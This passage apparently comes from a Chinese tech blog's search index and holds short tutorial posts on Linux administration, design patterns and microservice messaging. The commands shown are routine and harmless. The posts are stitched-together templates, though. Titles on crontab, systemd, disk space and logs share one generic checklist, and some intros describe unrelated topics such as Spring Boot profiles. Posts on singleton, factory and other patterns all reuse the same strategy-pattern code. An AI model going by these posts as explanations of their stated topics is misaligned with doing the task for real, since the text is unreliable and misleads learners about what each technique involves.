class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-文件权限和用户组理解"><a href="#Linux-文件权限和用户组理解" class="headerlink" title="Linux 文件权限和用户组理解"></a>Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="crontab-定时任务从配置到排查"><a href="#crontab-定时任务从配置到排查" class="headerlink" title="crontab 定时任务从配置到排查"></a>crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="systemd-服务管理入门"><a href="#systemd-服务管理入门" class="headerlink" title="systemd 服务管理入门"></a>systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-查看日志的几种方法"><a href="#Linux-查看日志的几种方法" class="headerlink" title="Linux 查看日志的几种方法"></a>Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-磁盘空间占满排查流程"><a href="#Linux-磁盘空间占满排查流程" class="headerlink" title="Linux 磁盘空间占满排查流程"></a>Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="责任链模式在审批和过滤器中的应用"><a href="#责任链模式在审批和过滤器中的应用" class="headerlink" title="责任链模式在审批和过滤器中的应用"></a>责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="模板方法模式适合流程固定的业务"><a href="#模板方法模式适合流程固定的业务" class="headerlink" title="模板方法模式适合流程固定的业务"></a>模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="策略模式替代大量-if-else"><a href="#策略模式替代大量-if-else" class="headerlink" title="策略模式替代大量 if else"></a>策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="工厂模式如何降低创建复杂度"><a href="#工厂模式如何降低创建复杂度" class="headerlink" title="工厂模式如何降低创建复杂度"></a>工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="单例模式的线程安全写法"><a href="#单例模式的线程安全写法" class="headerlink" title="单例模式的线程安全写法"></a>单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="接口版本管理和灰度发布思路"><a href="#接口版本管理和灰度发布思路" class="headerlink" title="接口版本管理和灰度发布思路"></a>接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="OpenFeign-调用超时和重试配置"><a href="#OpenFeign-调用超时和重试配置" class="headerlink" title="OpenFeign 调用超时和重试配置"></a>OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="网关在微服务里承担什么职责"><a href="#网关在微服务里承担什么职责" class="headerlink" title="网关在微服务里承担什么职责"></a>网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span 